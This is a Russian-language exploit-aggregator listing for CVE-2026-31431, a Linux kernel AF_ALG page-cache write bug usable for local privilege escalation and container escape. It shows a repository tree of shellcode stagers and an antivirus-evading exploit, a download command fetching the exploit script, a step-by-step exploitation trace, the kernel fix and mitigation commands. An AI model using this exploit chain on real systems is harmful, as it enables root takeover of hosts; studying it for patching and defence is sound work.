Sploitus

Exploit for CVE-2026-31431

kitploit · 2026-08-27

Exploit Code

MARKDOWN119 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HULNOTHUTU-CVE-2026-31431
# CVE-2026-31431

## Структура

root@kitploit:~
    
    
    .
    ├── container
    │   ├── container.md  # Идеи эскалации из контейнера
    │   ├── expenv  # Окружение контейнера
    │   │   ├── bin
    │   │   │   ├── gscontainer
    │   │   │   └── share
    │   │   ├── Dockerfile
    │   │   ├── run.sh
    │   │   └── src
    │   │       ├── gscontainer.c
    │   │       └── share.c
    │   ├── images
    │   │   ├── container.png
    │   │   ├── getshell.png
    │   │   ├── host.png
    │   │   ├── payload.png
    │   │   └── share.png
    │   ├── recode.bin  # Одностадийный shellcode
    │   └── stager
    │       ├── shell.elf  # Встроенный в эксплойт многостадийный shellcode
    │       ├── stager1.bin
    │       ├── stager2.bin
    │       ├── stager3.bin
    │       └── stager4.bin
    ├── doc
    │   ├── cve-2026-31431.md  # Анализ xint.io
    │   └── shellcode.md  # Что такое shellcode
    ├── exp.py # curl http://copy.fail/exp -o exp.py
    ├── README.md
    ├── success
    │   ├── code.py  # Извлечённый из exp.py shellcode
    │   └── exploit.c # Упрощённый эксплойт на C с нативным shellcode для повышения привилегий от msf, требуется обход антивируса
    └── test
        ├── exptest.c # Без комментариев
        └── test.c # Корректный с комментариями, для понимания
    

## Неожиданное пересечение трёх цепочек коммитов

Три отдельные безобидные правки, объединившись, создали уязвимость:

### Процесс эксплуатации в exp

root@kitploit:~
    
    
    splice(файл → pipe → AF_ALG)
        ↓
    af_alg_sendmsg: страница кэша файла → TX SGL (zero-copy)
        ↓
    _aead_recvmsg: in-place оптимизация
       ├─ memcpy_sglist: копирование AAD+шифротекста в RX SGL
       ├─ sg_chain: теговая страница (всё ещё указывает на кэш файла) встраивается в RX SGL
       └─ req->src = req->dst (= scatterlist, содержащий страницу кэша файла)
        ↓
    crypto_authenc_esn_decrypt: перестановка ESN
       └─ scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1)
          ↓ обход dst scatterlist до позиции тега
          ↓ kmap_local_page() отображает страницу кэша файла
          ↓ memcpy: запись seqno_lo в страницу кэша файла
        ↓
    HMAC проверка не пройдена → возврат -EBMSG
        ↓
    Страница кэша файла изменена, ядро не пометило страницу как грязную, файл на диске не изменён
    

## CVE-2026-31431: затронутые системы

В статье утверждается, что с 2017 года «почти все дистрибутивы Linux» затронуты. Страничный кэш разделяется между контейнерами, поэтому эта уязвимость является как локальным повышением привилегий (LPE), так и вектором эскалации из контейнера.

## CVE-2026-31431: исправление

Исправление в основной ветке ядра (коммит `a664bf3d603d`) возвращает операции AF_ALG AEAD в режим **out-of-place** (разделение src и dst):

root@kitploit:~
    
    
    Before: aead_request_set_crypt(..., rsgl_src,
                                    areq->first_rsgl.sgl.sgt.sgl, ...)
                                    ^  src == dst  ^
    
    After:  aead_request_set_crypt(..., tsgl_src,
                                    areq->first_rsgl.sgl.sgt.sgl, ...)
                                    ^  src ≠ dst  ^  (TX SGL для src, RX SGL для dst)
    

Сообщение коммита: _«Нет смысла работать in-place в algif_aead, поскольку источник и назначение имеют разные отображения»._

Временное смягчение:

root@kitploit:~
    
    
    echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
    rmmod algif_aead
    

Или через политику seccomp запретить создание сокета `AF_ALG` (`socket(AF_ALG, ...)`).

* * *

## Итог

* * *

## Ссылки

> https://xint.io/blog/copy-fail-linux-distributions
> 
> https://github.com/0xShe/CVE-2026-31431